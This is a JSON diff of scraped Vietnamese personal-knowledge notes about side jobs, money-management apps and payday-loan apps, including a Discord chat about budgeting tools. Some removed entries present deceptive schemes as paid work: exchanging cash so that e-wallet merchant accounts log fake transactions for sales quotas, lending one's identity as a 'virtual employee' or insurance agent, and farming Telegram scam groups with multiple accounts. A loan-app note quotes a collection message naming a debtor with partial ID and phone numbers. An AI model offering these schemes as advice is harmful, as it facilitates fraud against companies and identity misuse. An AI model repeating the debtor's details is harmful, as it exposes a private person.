Lộc Nguyễn\n## Viết hợp đồng\n## Dò sđt cửa hàng trong app \n- **Yêu cầu:** ghi thông tin cửa hàng ra theo mẫu có sẵn\n- **Tiền công:** 50k/h ngày làm 5h, 1h 6 cửa hàng, ngày làm tối thiểu 30 cửa hàng\n", + "Toàn bộ nội dung": "Tính năng:: [[Nhập liệu được trên Google Keep]]\r\nTính năng:: [[Nhập liệu được bằng file text]]\r\nTính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Nhập được trên web]]\r\nTính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nTính năng:: [[Nhập được bằng tập tin bảng tính]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Phân loại tự động theo quy luật]]\r\nTính năng:: [[Dùng được trên CLI]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[Xuất được kết quả ra dạng bảng tính]]\r\nTính năng:: [[Xuất được kết quả ra dạng văn bản thuần]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\nTính năng:: [[Miễn phí]]\r\nTính năng:: [[Tạo query phức tạp được]]\r\nTính năng:: [[Là phần mềm tự do]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\nLàm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?: https://doi-thoai.deno.dev/VNPAY.discordQC#c2.1\r\n\r\nXem thêm:: [[Trấn Kỳ]]\r\n\r\n## Nơi thảo luận\r\n![](https://i.imgur.com/TDK2yri.png)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T09:43:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6j" }, { - "Tiêu đề": "Đổi tiền, chụp hình biển hiệu, dán mã QR", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Cộng tác viên cho nhân viên công ty/Đổi tiền, chụp hình biển hiệu, dán mã QR", + "Tiêu đề": "Bất cập của các app quản lý tiền hiện có", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/Bất cập của các app quản lý tiền hiện có", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Làm ngoài đường]]\nHình thức:: [[Việc làm thời vụ, theo dự án]]\n\n- **Liên hệ:** 0777850094 - Lộc Nguyễn\n- **Tiền công:** 250k/4h\n## Dán mã QR\nVí dụ, các công ty trung gian thanh toán như Momo, VNPAY, ZaloPay, SmartPay cần người đi chào hàng và dán mã QR. Mình có thể đi một lần và dán tất cả các công ty này cùng lúc để nhận lương của các bên. \n\n## Đổi tiền\n- **Mô tả:** đi gặp người ngoài đường (xe ôm, cửa hàng, người đi bộ) đổi tiền (mình cầm tiền lẻ đưa người ta, người ta chuyển khoản lại cho mình, mệnh giá trên 20k, mỗi người 1 lần)\n- **Mục đích:** các ví điện tử (VD: Momo, VNPAY, Smartpay) cần các cửa hàng nhận sử dụng dịch vụ của mình để mở rộng thị trường. Các nhân viên kinh doanh của các công ty này được giao chỉ tiêu mỗi tháng phải thuyết phục được một số lượng cửa hàng (VD: 10 cửa hàng/tháng). Để đảm bảo là nhân viên không mở cửa hàng ảo thì đòi hỏi các tài khoản phải có giao dịch thực (VD: 10 giao dịch/tuần). Việc đổi tiền như này thực ra là để hệ thống ghi nhận là cửa hàng có giao dịch thực\n\nCó thể thay việc này bằng việc [[Quét mã chéo]]\n\n## Chụp hình biển hiệu (ảnh) \n- **Yêu cầu:** hình chụp cần rõ tên, địa chỉ. Thông tin gửi về có toạ độ vị trí. Khu vực rìa thành phố hoặc ở tỉnh: Củ Chi, Bình Chánh, Thủ Đức, Cần Giờ, Đồng Nai, Bình Dương\n- **Mục đích:** các ví điện tử (VD: Momo, VNPAY, Smartpay) cần các cửa hàng nhận sử dụng dịch vụ của mình để mở rộng thị trường. Các nhân viên kinh doanh của các công ty này được giao chỉ tiêu mỗi tháng phải thu thập thông tin các cửa hàng trên địa bàn hoạt động để lên chiến lược tiếp cận\n\n", + "Toàn bộ nội dung": "chưa kể với các giao dịch đặc biệt như bản thân e, 1 debt multi transaction, 1 debt tạo multi debt tạo multi payment,…. nó ko thể dùng app đơn giản để làm đc.\r\nodoo ko link project với task management đc?\r\n\r\nem có nói anh rồi đó, e fai research + rất cân nhắc mới nói anh option tự build thế này. đến khi vài bữa sử dụng xong anh sử dụng lại các apps trên thị trường là a thấy sự bất cập ngay\r\nOoker — 07/23/2023 2:27 PM\r\nthì anh muốn biết là những cái này nó bất cập thế nào\r\nKendy — 07/23/2023 2:29 PM\r\nhôm nay là ngày thứ 15th của tháng, tiền khám của con còn bao nhiêu? apps nào sẽ trả lời cho a câu hỏi thế này\r\nngày mai mở mắt dậy, a cần scheduled bao nhiêu tiền cho các task gì và các transaction gì? app nào có thể làm đc như vậy anh\r\nkey point là gì: các apps rất tuyệt trong việc collect datas ⇄ Capture Input\r\nnhưng cái em cần, rất rất thực tế là Use datas ⇄ Dùng được Output\r\nviệc ghi chép hay hoạch định sẽ vô nghĩa nếu nó ko được query và lay on monitor\r\nKendy — 07/23/2023 2:34 PM\r\nđây là điều mà e cố giải thích cho anh đấy, thị trường cho anh 1 loạt các apps rất tuyệt về input, nhưng ko có 1 solution nào cho 1 output đúng nghĩa có thể custom được\r\nOoker — 07/23/2023 2:34 PM\r\nexcel hay access ko đc à?\r\nKendy — 07/23/2023 2:34 PM\r\nđược chứ\r\nOoker — 07/23/2023 2:35 PM\r\nvậy sao ko dùng?\r\nKendy — 07/23/2023 2:35 PM\r\nvì nhu cầu của em quá advanced\r\ne ko thể cứ dùng filter mỗi prompt query được\r\nnhư google hay excel a sẽ chỉ dùng đc filter để query từ 1 loạt condition để ra kq. và nó rất bất tiện khi e có nhiều cái cần query\r\nOoker — 07/23/2023 2:36 PM\r\nvậy thì access?\r\nKendy — 07/23/2023 2:36 PM\r\nbỏ ngay, UI UX xấu\r\nOoker — 07/23/2023 2:37 PM\r\nnhưng nó cho em kết quả?\r\nKendy — 07/23/2023 2:37 PM\r\nvẫn có các alternative khác, e ko muốn dành thời gian cho 1 thứ có thể bị out date\r\nOoker — 07/23/2023 2:37 PM\r\nví dụ?\r\nKendy — 07/23/2023 2:38 PM\r\nairtable\r\nnotion\r\ntaskade\r\nclickup\r\nOoker — 07/23/2023 2:38 PM\r\ntại sao mấy cái đó thay thế được access?\r\nKendy — 07/23/2023 2:39 PM\r\naccess ko có API a\r\nhồi đó integrate cũng là 1 cái gì đó rất cân nhắc vì nó liên quan đến automation (Zapier, make)\r\nnên e sẽ ưu tiên các thằng trên hơn là 1 ông lớn ko chịu update theo thời cuộc\r\nOoker — 07/23/2023 2:42 PM\r\nsao em biết nó ko có api?\r\nKendy — 07/23/2023 2:43 PM\r\nhồi đó ko có\r\nAPI chỉ rộ lên gần đây thôi, chứ đợt trước đó e cân nhắc lắm, vì ông nào cũng giữ mình\r\nOoker — 07/23/2023 2:45 PM\r\nlúc có airtable là đã có api lâu rồi mà?\r\nKendy — 07/23/2023 2:45 PM\r\ne nhớ cách đây 4 năm nó mới bắt đầu rộ api trong airtable\r\ncơ bản hồi đó hạn chế lắm, có nhưng ít có apps nào triển khai nhiều\r\nmà cái hồi đó em nhắm tới là automation, chính xác là no code automation\r\nmà thằng access thì ko match vs cái nhu cầu trên của e\r\nKendy — 07/23/2023 2:48 PM\r\nnghĩa là em ko muốn đóng vai trò nhập liệu, e chỉ muốn nó tự nhập và em chỉ xem số liệu → evaluate thôi\r\nOoker — 07/23/2023 2:52 PM\r\naccess ko làm đc à?\r\nko có cái nào là no code đâu. Nếu no code thì ko có tuỳ chỉnh nâng cao được rồi \r\nKendy — 07/23/2023 2:53 PM\r\nobsidian tát thẳng mặt đấy\r\nbắt học 1 đống, query, js, metadata, yaml,css…\r\nOoker — 07/23/2023 2:54 PM\r\ncái đó chưa có gọi là code đâu\r\nanh vẫn tính nó là cấp độ no code\r\nKendy — 07/23/2023 2:55 PM\r\nuh, rồi fibery tát em tiếp đây\r\nnhưng cơ bản nó lại là 1 dịp để học, dù thú thực là giờ học trong áp lực ntn ko hoàn toàn là thứ em muốn cho lắm\r\nOoker — 07/23/2023 3:02 PM\r\nnhưng mà quay lại access ko tự động phân loại được à?\r\nKendy — 07/23/2023 3:04 PM\r\ne ko chuyên access, nhưng cái thiếu của nó hình như đợt đó nó ko tạo ra được nhiều output giống excel, nghĩa là nó chỉ filter, chứ ko create nhiều commit filter\r\nnói nôm na nó giống như các view trong airtable/fibery, hay dataview query trong obsidian\r\nOoker — 07/23/2023 3:11 PM\r\ncommit filter là gì?\r\nKendy — 07/23/2023 3:13 PM\r\nnnhưng dạng các MOC hay Homepage chứa nhiều quêry ấy\r\nOoker — 07/23/2023 3:14 PM\r\ntức là như các MOC thì em ok hả?\r\nKendy — 07/23/2023 3:16 PM\r\nnhư trên sau khi filter em muốn save thì ntn ?\r\nOoker — 07/23/2023 3:17 PM\r\nnó tự save mà hả?\r\nKendy — 07/23/2023 3:17 PM\r\ný là nhiều filter khác nhau ấy\r\n\r\n[[Chương trình ghi chép thu chi cá nhân]]\r\n[[Chương trình kế toán]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:27:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6k" }, { - "Tiêu đề": "Học làm đại lý bán bảo hiểm", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Học làm đại lý bán bảo hiểm", + "Tiêu đề": "Chương trình quản lý tiền", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Sắp xếp theo lịch được cho trước]]\nHình thức:: [[Việc làm thời vụ, theo dự án]]\n\nMột buổi được tính là một buổi sáng hoặc chiều, 2-5 tiếng. Một ngày gồm 2 buổi sáng chiều.\n\n> [!attention] Chỉ được học ở một công ty. Khi muốn học ở công ty khác thì phải cắt code ở công ty cũ\n\n## Nếu chỉ học\nMỗi khoá học có 2 giai đoạn: học cơ bản và học sản phẩm. Học cơ bản thì phải đi học, chịu khó học để thi đậu ở Cục giám sát, và có điểm danh. Sau khi thi đậu thì học sản phẩm. Cái này thì học lúc nào cũng được, không cần phải thi.\n\n### Bảo Việt\n- **Số buổi phải dành thời gian:** 4 ngày học + 1 buổi thi \n- **Lương:** Sinh từ năm 2001 trở đi thì được 900k, sinh trước năm 2000 thì được 2tr\n- **Địa điểm học:** 233 Đồng Khởi, Q1\n\n### Prudential \n> [!Attention] Đang ngừng tuyển\n> Lý do: chính sách của Bộ Tài chính thay đổi\n\n- **Số buổi phải dành thời gian:** 5 ngày học + 1 buổi thi\n- **Lương:** 2.5tr\n- **Địa điểm học:** \n- **Điều kiện:** Phải phỏng vấn xin việc và đậu thì mới được vào học. Cần cam kết làm đại lý ảo sau đó\n\n### [[Cathay]]\n- **Số buổi phải dành thời gian:** 3 buổi học + 1 buổi thi\n- **Lương:** 2tr4\n- **Địa điểm học:** Bình Thạnh\n- **Điều kiện:** Phải phỏng vấn xin việc và đậu\n\n## Nếu làm đại lý ảo sau đó\nĐại lý ảo tức là có đại lý thật đẩy doanh số cho. Hay nói cách khác thì bạn sẽ làm một danh tính khác của người làm thật trong công ty. Đây là một hình thức của [[Làm nhân viên ảo]]. Lương từ công ty sẽ trả cho trưởng nhóm. \n\nLàm đại lý ảo thì có bảo hiểm công ty mua cho (không phải bảo hiểm xã hội). Khi có đủ doanh số thì có được những quyền lợi khác.\n\n### Bảo Việt\n- **Lương chấm công:** không cần chấm công. Không có lương\n\n### Prudential\n- **Yêu cầu:** Phải lên công ty checkin bằng vân tay, xong muốn đi chỗ khác cũng dược, nhưng cần phải quay lại checkout. Checkout cách checkin tối thiểu 2 tiếng. Tháng đầu chấm công 5 ngày là được. Tháng thứ 2 mới bắt đầu chấm đủ 80% ngày đi làm, tức là 17 ngày/tháng.\n- **Lương chấm công:** ban đầu 4tr/tháng, sau 3 tháng thì có thể lên 5.6tr. \n\n### [[Cathay]]\n- **Yêu cầu:** Mỗi sáng t2 đến t6 từ 8h30 đến 11h có mặt trên công ty\n- **Lương chấm công:** 10tr/tháng.\n\n## Nơi thảo luận\n[Liên kết](https://discord.com/channels/898550123007709204/1255096567090643066/1255096567090643066)\n![](https://i.imgur.com/ekqUkPR.png)\n", + "Mô tả bài đăng": "Điểm giống và khác nhau giữa các chương trình quản lý tiền. Quang cảnh và sơ đồ giữa chúng.", + "Toàn bộ nội dung": "## Mối quan hệ giữa các khái niệm\n- Nhu cầu người dùng sẽ đòi hỏi tính năng\n- Tính năng sẽ đòi hỏi yêu cầu đầu vào \n- Yêu cầu đầu vào đòi hỏi nhu cầu người dùng\n
    \n- Tính năng sẽ quyết định loại chương trình\n- Chương trình đáp ứng một tổ hợp các nhu cầu của người dùng bằng một tổ hợp các tính năng \n\n```mermaid\nflowchart LR\n\tsubgraph Người dùng\n\t\t1[\"1 Nhu cầu người dùng\"]\n\t\t2[\"2 Yêu cầu đầu vào\"]\n\tend\n\tsubgraph Sản phẩm\n\t\t3[\"3 Tính năng\"]\n\t\t4[\"4 Loại chương trình\"]\n\t\t5[\"5 Tên chương trình\"]\n\tend\n\n1-->3\n4-->5\n5-->3\n\n3-->2-- Phù hợp cho nhu cầu -->1\n1-- Phù hợp cho nhu cầu -->1\n2-- Đáp ứng yêu cầu --> 2\n3-- Đồng thời có thêm tính năng --> 3\n\n3~~~4\nstyle 1 fill:lightgreen\nstyle 3 fill:lightgreen\n```\n\n## Danh mục\n```dataview\nlist rows.file.link\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \ngroup by split(file.folder, \"/\" )[3] \n```\n\n- Có những chương trình không biết nên phân loại thế nào. Tốt nhất là liệt kê tính năng của nó\n- Khi một \"nhu cầu\" của người dùng thực ra là do không có nhu cầu thì nó nên là gì?\n- Khi một \"tính năng\" của chương trình thực ra là do không có tính năng thì nó nên là gì?\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T13:36:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6l" }, { - "Tiêu đề": "Làm nhân viên ảo", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Làm nhân viên ảo/Làm nhân viên ảo", + "Tiêu đề": "App vay nóng không cần điểm tín dụng", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/App vay nóng không cần điểm tín dụng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Thỉnh thoảng lên công ty]]\nHình thức:: [[Vị trí chính thức của một công ty]]\n\nNhân viên ảo tức là có nhân viên thật làm giùm. Nói cách khác bạn trở thành một danh tính khác của một nhân viên trong đó. Cần lưu ý là nếu có vấn đề gì thì bạn sẽ là người chịu trách nhiệm chính. Có thể nói số tiền bạn nhận là tiền để bạn làm hình nhân thế mạng cho người khác.\n\n- [[Cathay]]\n- [[VNPAY]]\n\nXem thêm:: [[Mẫu CV ảo]]\nXem thêm:: [[Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ]] ", + "Toàn bộ nội dung": "Jeff chỉ là cái app để chuyển sang các app cho vay khác\nRéo gọi làm phiền liên tục. Trả xong vẫn bị gọi trong mấy ngày. Nên tốt nhất là có một sim khác \n\n```dataview\nLIST\nFROM \"📜Tài nguyên/Các dịch vụ cho vay/App vay nóng không cần điểm tín dụng\"\nWHERE file.name != this.file.name\n```\n\n```dataview\nLIST\nFROM \"⚡Hiểu biết sâu/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng\"\nWHERE file.name != this.file.name\n```\n- [[Những bên cho vay lãi quá rẻ thực ra là để mình chịu làm kyc để người khác tạo tài khoản ảo bằng tên của mình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T09:59:00.000Z", + "Ngày tạo": "2024-08-13T10:19:00.000Z", + "Ngày cập nhật": "2024-08-27T11:02:00.000Z", "id": "6m" }, { - "Tiêu đề": "Lừa đảo hội lừa đảo", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Lừa đảo hội lừa đảo", + "Tiêu đề": "Cayvang", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/App vay nóng không cần điểm tín dụng/Cayvang", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết cách ẩn danh]]\nHình thức:: [[Việc làm thời vụ, theo dự án]]\n\nNhững hình thức lừa đảo trên telegram xưa giờ là không mới. Gần đây các tổ chức , cá nhân lừa đảo ấy lại ngày càng tinh vi hơn khi chịu chim mồi và trả thưởng rất cao cho những nhiệm vụ đơn giản như like video, chụp hình lại và gửi qua cho bên lừa đảo đó. Chỉ với 1 vài thông tin như họ tên, sđt, stk là chúng ta đã có thể nhận đc thù lao từ vài trăm nghìn, miễn sao đừng chuyển tiền qua cho họ là được. Việc con mồi ngày càng khôn, không chuyển tiền bậy bạ sẽ khiến bọn lừa đảo bớt lọng hành hơn. Vậy nên mình hoàn toàn có thể lập nhiều tài khoản để “tỉnh táo” một cách thụ động hoặc chủ động trước những thủ đoạn lừa đảo tinh vi này. \n\n[Bẫy \"chim mồi\" từ các hội nhóm lừa đảo trên Telegram | VTV24 - YouTube](https://www.youtube.com/watch?v=WKAoxhBAsfA)\n\n![Image](https://media.discordapp.net/attachments/1227113112273162290/1227113112495194112/Screenshot_20240409_090524_Telegram.jpg?ex=6673b024&is=66725ea4&hm=e71a1db9d0477b361fddf2396a3a9bdfee7d41fa96ec2141321b3a91d8c5b6c8&=&format=webp&width=455&height=437)\n![Image](https://media.discordapp.net/attachments/1227113112273162290/1227113112805703680/Screenshot_20240408_165218.jpg?ex=6673b024&is=66725ea4&hm=42718d7b0ae7812ec4cbaf6f06dc1395a6fb41ea238f3cefbf05f8616fafa27a&=&format=webp&width=227&height=216)\n![Image](https://media.discordapp.net/attachments/1227113112273162290/1227113113132994571/Screenshot_20240408_165333_Telegram.jpg?ex=6673b024&is=66725ea4&hm=1e685ded6b5c8eb0f6040c0792880abae1b62ba242d8d271c3366430e3114673&=&format=webp&width=227&height=216)\n\n[Tuyển dụng online lừa đảo người tìm việc - Kỳ 1: Mất hơn trăm triệu vẫn không có việc - Tuổi Trẻ Online](https://tuoitre.vn/tuyen-dung-online-lua-dao-nguoi-tim-viec-ky-1-mat-hon-tram-trieu-van-khong-co-viec-20230829101044997.htm)\n[Bẫy tuyển dụng online lừa đảo người tìm việc - Kỳ 2: Chiêu trò lừa đảo trên Telegram - Tuổi Trẻ Online](https://tuoitre.vn/bay-tuyen-dung-online-lua-dao-nguoi-tim-viec-ky-2-chieu-tro-lua-dao-tren-telegram-2023083010523942.htm)", + "Toàn bộ nội dung": "Loại dịch vụ:: [[App vay nóng không cần điểm tín dụng]]\n\n```yaml\nLần 1:\nLần 2:\nLần 3:\n Nhận được: 2tr5\n Lãi:\n 10 ngày: 3tr2\n 20 ngày: 3tr6\n 30 ngày: 4tr\n Gia hạn: \n Thời gian: 30 ngày\n Số tiền: 1tr\n```\n\nCái gọi là \"Số tiền đã giải ngân\" phải gọi là \"Số tiền cần thanh toán\". Nó là tiền gốc + tiền lãi mình cần trả, chứ ko phải là số tiền nó đưa mình. Cái gọi là \"Gia hạn\" là đang trả góp vào số tiền cần thanh toán đó.\n\nTrước khi \"gia hạn\": \n![](https://media.discordapp.net/attachments/953628307314855999/1276467555413786664/image.png?ex=66c9a28c&is=66c8510c&hm=ddc2a68b31e51fc75904f6f69524af8fc52837d1207914af5c91f3ba891d724f&=&format=webp&quality=lossless&width=760&height=671)\nSau khi \"gia hạn\": \n![](https://media.discordapp.net/attachments/953628307314855999/1276470340507275366/image.png?ex=66c9a524&is=66c853a4&hm=de76a53f27602ebcf9949bf8d4ad7581f7f762f3b74a8b06d10fb39a46db6512&=&format=webp&quality=lossless&width=778&height=671)\n\n[[App đen thực chất là mấy thằng trung quốc đặt sever bên Campuchia với Lào ép về cho vay]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T13:08:00.000Z", + "Ngày tạo": "2024-08-13T10:17:00.000Z", + "Ngày cập nhật": "2024-08-27T09:46:00.000Z", "id": "6n" }, { - "Tiêu đề": "Săn khảo sát, phỏng vấn người dùng", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Săn khảo sát, phỏng vấn người dùng", + "Tiêu đề": "Moneyveo", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/App vay nóng không cần điểm tín dụng/Moneyveo", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Như trưa nay cho ý kiến đóng góp TVC quảng cáo về thương hiệu Panasonic \r\nNgồi trả lời phỏng vấn tầm 1 tiếng là nhận ngay 300k á\r\nTương tự nhiều cái giống v, một buổi tầm 1 tiếng rưỡi đến max 2 tiếng là được 250 đến 3, 400k \r\nCó mấy cái điều kiện hiếm hơn thì 800k 1tr chẳng hạn\r\nNhư em đăng kí đi cái này. Ko có mấy ng mua đá tự nhiên, em có mua thì em đi được\r\nJob này chỉ cần xạo xạo, có vốn từ vựng tiếng Việt nhất định để chém gió là ok hết\r\nVui vẻ thoải mái, có quà bánh ăn trong lúc phỏng vấn \r\nEm thấy ok phù hợp với mấy ng như em chưa đủ năng lực để đi làm gì nghiêm túc hoặc điều kiện sức khoẻ quá tệ. \r\n", + "Toàn bộ nội dung": "Loại dịch vụ:: [[App vay nóng không cần điểm tín dụng]]\n\n```yaml\nLần 1:\nLần 2:\n Nhận được: \n Lãi:\n 10 ngày: 1tr240\n 20 ngày: \n 30 ngày: 3tr20\nLần 3: \n```\n\nKhi xù nợ thì chỉ gọi đúng một ngày, sau đó không gọi nữa. Sau 5 ngày lại gọi lại. Nếu bắt máy thì sẽ được hỏi sao có một triệu mà không trả được. Cái điện thoại cũng được rồi\n\nCác đầu số 0285, 0287, 0374\nMới kiểm nghiệm 1 lần\n\n[MV] Hop dong cua Ong/Ba LY MINH NHAT CMND xxx092007133 sdt xxx2214006 da tre han 6 ngay. Tuy nhien sau nhieu lan thuong luong, giai quyet, Ong/Ba da hoan toan cat dut lien lac va tron tranh trach nhiem thanh toan. Yeu cau LY MINH NHAT chu dong lien he lai, neu tiep tuc tron tranh, chung toi se lien he ve gia dinh, ban be cua Ong/Ba de xu ly ho so. LH: 0374163740", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2024-07-29T06:31:00.000Z", + "Ngày cập nhật": "2024-09-06T05:01:00.000Z", "id": "6o" }, { - "Tiêu đề": "Gom lịch vào Google Calendar", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Gom lịch vào Google Calendar", + "Tiêu đề": "Các dịch vụ cho vay", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Gia công giải pháp]]", + "Toàn bộ nội dung": "## Vì người yếu thế\n- [[Quỹ Tình Thân]] \n- [[CEP]] \n- [[Ngân hàng chính sách xã hội]] \n\n## Ví trả sau\n| | Số tiền rút lần đầu | Điều kiện |\n| --------- | ------------------- | --------- |\n| Momo | 3tr | |\n| ZaloPay | | |\n| Shopee | | |\n| ShopeePay | | |\n| Lazada | | |\n\n## App cho vay\n| | Số tiền rút lần đầu | Lãi | Thời hạn |\n| ----------- | ------------------- | --- | -------- |\n| Fundiin | | | |\n| Tnex | | | |\n| Kredivo | | | |\n| EasyCredit | | | |\n| Mcredit | | | |\n| Cake | | | |\n| HDSaison | | | |\n| Home Credit | | | |\n| FE Credit | | | |\n\n- Khi bị app từ chối duyệt thì phải đợi mấy tháng mới cho nộp lại\n- Viettel Money chỉ là cái app để chuyển sang các app cho vay khác. [[Rất nhiều các công ty cho vay lấy dữ liệu từ Viettel]]\n- Vay dưới 10tr dễ được duyệt hơn\n- Home Credit bắt phải có 2 giấy tờ bổ sung\n- Tnex ko đổi đc sđt \n\n\n## Ngân hàng\n| | Số tiền rút lần đầu | Lãi | Thời hạn | Điều kiện |\n| ---- | ------------------- | --- | -------- | --------- |\n| CIMB | | | | |\nNgân hàng CIMB tạo thẻ tín dụng hạn mức 100tr, chỉ cần trả 3tr∕tháng trong mấy năm hay gì đó là đc\n[[Ngân hàng chỉ cần đất, sổ tiết kiệm hoặc ô tô, chứ mấy cái nhỏ sẽ từ chối]]\n[[Ghi chú về các app ngân hàng]]\n[[Thẻ tín dụng và ví trả sau đều là các hình thức cấp tín dụng]]\n\n## App cho vay nóng\n[[App vay nóng không cần điểm tín dụng]]\n\n## Tiệm cầm đồ\nF88 giống tiệm cầm đồ, dùng cà vẹt xe để vay\n\nThông tin khác:\n```dataview\nLIST \nFROM \"📜Tài nguyên/Vay tiền\" \nWHERE file.name!=this.file.name\n```\n\n## ⚡Hiểu biết sâu\n```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Vay tiền\" \nWHERE file.name!=this.file.name\ngroup by split(file.folder, \"/\")[2] \n```\n\n## Nơi thảo luận\n![](https://i.imgur.com/OtW4epu.png)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2024-07-17T14:41:00.000Z", + "Ngày cập nhật": "2024-08-27T09:46:00.000Z", "id": "6p" }, { - "Tiêu đề": "Kết nối nhu cầu di chuyển của người khuyết tật", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Kết nối nhu cầu di chuyển của người khuyết tật", + "Tiêu đề": "TNEX", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/TNEX", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Gia công giải pháp]]\n\n## Mô tả chung\nNhu cầu: người khuyết tật khi có nhu cầu di chuyển chi phí tốn kém\nGiải pháp: viết app kết nối họ và người sẵn sàng hỗ trợ, tương tự như Grab\n\n### Câu hỏi\n#### Câu hỏi về chiến lược\n- Tại sao đối tượng thụ hưởng lại là nkt mà không phải cái khác? \n\t- Vì nhà đầu tư tiếp xúc với họ nhiều hơn \n- Tại sao lại là về hỗ trợ di chuyển cho họ mà không phải là cái khác?\n\t- ❓Vì đây là nhu cầu họ cần nhất\n- Tại sao không dành nguồn lực để vận động chính sách cho việc cải thiện dịch vụ công cho họ?\n\t- Không đủ nguồn lực vận động chính sách\n- Khả năng điều phối hiện nay là thế nào? Vì sao phải cần tới app mà không thuê một người để điều phối thủ công?\n- Có những loại xe máy 3 bánh được thiết kế cho người khuyết tật, sao họ không mua về dùng?\n- Viết xong rồi thì sẽ duy trì việc vận hành nó thế nào?\n\n#### Câu hỏi về sản phẩm\n- Khác gì với WeShare? Khác gì Dichung?\n- Có cần làm app cho đt ko hay làm web app là được?\n- Có cần phải có bản đồ không hay có thể mặc định là người dùng chỉ cần đọc địa chỉ là đã biết là mình có thể đến được rồi?\n\t- ❓Người ở trọ mới lên HN \n\n#### Câu hỏi về hành vi người dùng\n- Tài xế có lý do gì để mở app để đón khách?\n- Nếu trên bản đồ có nhiều người cùng thể hiện sẵn sàng giúp đỡ thì họ có [[Hiện tượng khuếch tán trách nhiệm, người ngoài đứng nhìn]] không?\n\n## Yêu cầu\n### Yêu cầu chức năng\n- Có bản đồ thể hiện vị trí các bên\n- Cập nhật thời gian thực\n- Có tài khoản cho người khuyết tật và tài khoản cho 